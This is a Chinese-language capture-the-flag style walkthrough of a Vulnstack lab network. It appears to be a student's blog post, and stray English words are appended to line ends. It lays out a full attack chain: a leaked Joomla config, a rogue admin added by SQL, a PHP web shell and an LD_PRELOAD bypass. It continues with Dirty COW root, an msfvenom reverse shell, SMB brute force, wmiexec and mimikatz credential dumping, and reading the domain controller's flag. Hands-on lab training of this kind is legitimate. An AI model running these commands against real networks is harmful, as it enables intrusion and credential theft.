靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/php
本次環境爲黑盒測試,不提供虛擬機帳號密碼,centos 出網機 ip 爲 192.168.1.110,目標是域控內的一份重要文件。html
全部主機解壓後都是掛起狀態,配好網絡環境後運行五臺機器便可。python
出網機的 80 端口是一個 joomla! 搭建的網站mysql
直接使用 kali 的 joomscan 工具掃描一下,發現版本爲 3.9.12,後臺登陸目錄 http://192.168.1.110/administrator/,敏感文件泄露目錄 http://192.168.1.110/configuration.php~linux
joomscan -u http://192.168.1.110/
獲得一個 mysql 帳戶 testuser/cvcvgjASD!@git
nmap 掃描一下發現 3306 端口開放,使用得到的帳戶密碼遠程登陸數據庫。由於 joomla 能夠在後臺模板 getshell,因此嘗試查找管理員的帳號密碼登陸後臺,可是數據表中存儲的管理員密碼是加密的,須要換一種思路。github
根據 joomla 官方文檔 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn 執行 sql 語句在數據庫中添加 admin2/secret 超級管理員,注意 sql 語句修改成目標數據表的前綴。web
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
執行語句後在數據表能夠看到帳戶已經成功添加了。sql
admin2/secret 登陸後臺,Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,寫入一句話木馬。shell
蟻劍鏈接 webshell。
虛擬終端執行系統命令返回 ret=127,懷疑服務端 disable_functions 禁用了命令執行函數。
phpinfo 查看一下禁用了這些函數,嘗試利用LD_PRELOAD繞過。
用蟻劍把 bypass_diablefunc.php 和 bypass_diablefunc_x64.so 上傳到目標的同一目錄,注意 .so 文件須要根據目標系統架構選擇,而後訪問 bypass_diablefunc.php,cmd 是執行的命令,outpath是讀寫權限的目錄,sopath是 .so 文件的絕對路徑。
工具下載地址: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
payload 以下:
http://192.168.1.110/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so
查看當前 ip 爲 192.168.93.120,內核是 ubuntu,說明真正的 web 服務後端在 ubuntu。
因爲 ubuntu 內核比較新,暫時不考慮提權。翻找文件發現 test.txt 給出了一個用戶的帳號密碼。
能夠成功登陸 centos 出網機。
拿到出網機後想繼續橫向移動,通常是在跳板機搭建 socks 代理,因此須要將 centos 提權,查看 centos 內核版本恰好在髒牛提權的範圍內。
將 dirty.c 上傳到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令編譯生成 dirty 可執行文件,執行 ./dirty password 提權,exp 下載地址:https://github.com/FireFart/dirtycow
切換 firefart/baji 用戶,成功提權。
攻擊機生成 shell.elf,設置監聽,將 elf 文件上傳至 centos,執行後攻擊機成功得到一個 meterpreter。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf
由於 bypass disable_functions 後獲得 ubuntu ip 爲 192.168.93.120,因此添加路由,meterpreter 放在後臺,進行存活主機探測。
run autoroute -s 192.168.93.0/24 background use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.0/24 exploit
獲得了三臺加入TEST域的 windows 主機
嘗試爆破 windows 2008 的本地管理員,參考其餘師傅的文章爆出來密碼爲 123qwe!ASD(我沒有包括這個密碼的字典...)
use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set SMBUser administrator set PASS_FILE /usr/share/wordlists/top1000.txt run
在爆破密碼成功的基礎上,使用 msf 開個 socks4 正向代理,配合 proxychains。
use auxiliary/server/socks4a set srvport 1080 exploit
wmi 出如今全部的 windows 操做系統中,由一組強大的工具集合組成,用於管理本地或遠程的 windows 系統。攻擊者使用 wmi 攻擊時 windows 系統默認不會在日誌中記錄這些操做,能夠作到無日誌、攻擊腳本無需寫入到磁盤,增長了隱蔽性。
wmiexec 執行命令,蒐集信息,wmiexec.py 下載地址 https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
ipconfig /all 知道 dns 服務器即域控是 192.168.93.10。那麼基本的內網拓撲也清楚了,一臺 centos 反向代理了一個 web,centos 有兩個網卡,web 服務後端在 ubuntu 上,三臺 windows 組成域環境,ip 分別是 192.168.93.10,192.168.93.20,192.168.93.30,域控爲 windows server 2012,ip 爲 192.168.93.10。
(反向代理服務器位於用戶與目標服務器之間,可是對於用戶而言,反向代理服務器就至關於目標服務器,即用戶直接訪問反向代理服務器就能夠得到目標服務器的資源。反向代理的工做原理是,代理服務器來接受客戶端的網絡訪問鏈接請求,而後服務器將請求有策略的轉發給網絡中實際工做的業務服務器,並將從業務服務器處理的結果,返回給網絡上發起鏈接請求的客戶端。更多解釋 https://www.zhihu.com/question/36412304
反向代理優勢:
)
tasklist /V 查看進程(顯示對應用戶),發現TEST域進程,能夠嘗試抓密碼。
kali 使用 smbclient 經過代理鏈接 windows server 2008 上傳 mimikatz。下載地址 https://github.com/gentilkiwi/mimikatz/releases
proxychains smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
wmiexec 遠程執行 mimikatz 成功獲得域管理員密碼。
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
IPC$(Internet Process Connection)是共享「命名管道」的資源,它是爲了讓進程間通訊而開放的命名管道,能夠經過驗證用戶名和密碼得到相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$鏈接者能夠與目標主機創建一個鏈接,獲得目標主機上的目錄結構、用戶列表等信息。
利用條件:
ipc 遠程鏈接讀 flag.txt。
net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator #系統默認路徑c:\windows\下 dir \\192.168.93.10\C$\users\administrator\Documents type \\192.168.93.10\C$\users\administrator\Documents\flag.txt
經過這個靶機瞭解了一些新知識,實驗了幾個據說過可是還沒試過的經典操做。若是有問題歡迎師傅們批評指正。
總結還想寫一點點別的,如今是大三暑假,九月份就秋招了,喜歡滲透可是技術還挺菜的hhhh。但願在畢業後能夠作滲透測試的工做,很想很想喜歡的事能夠成爲工做啊:)
參考文章:
http://www.javashuo.com/article/p-xinhijkr-nk.html
https://www.freebuf.com/web/192052.html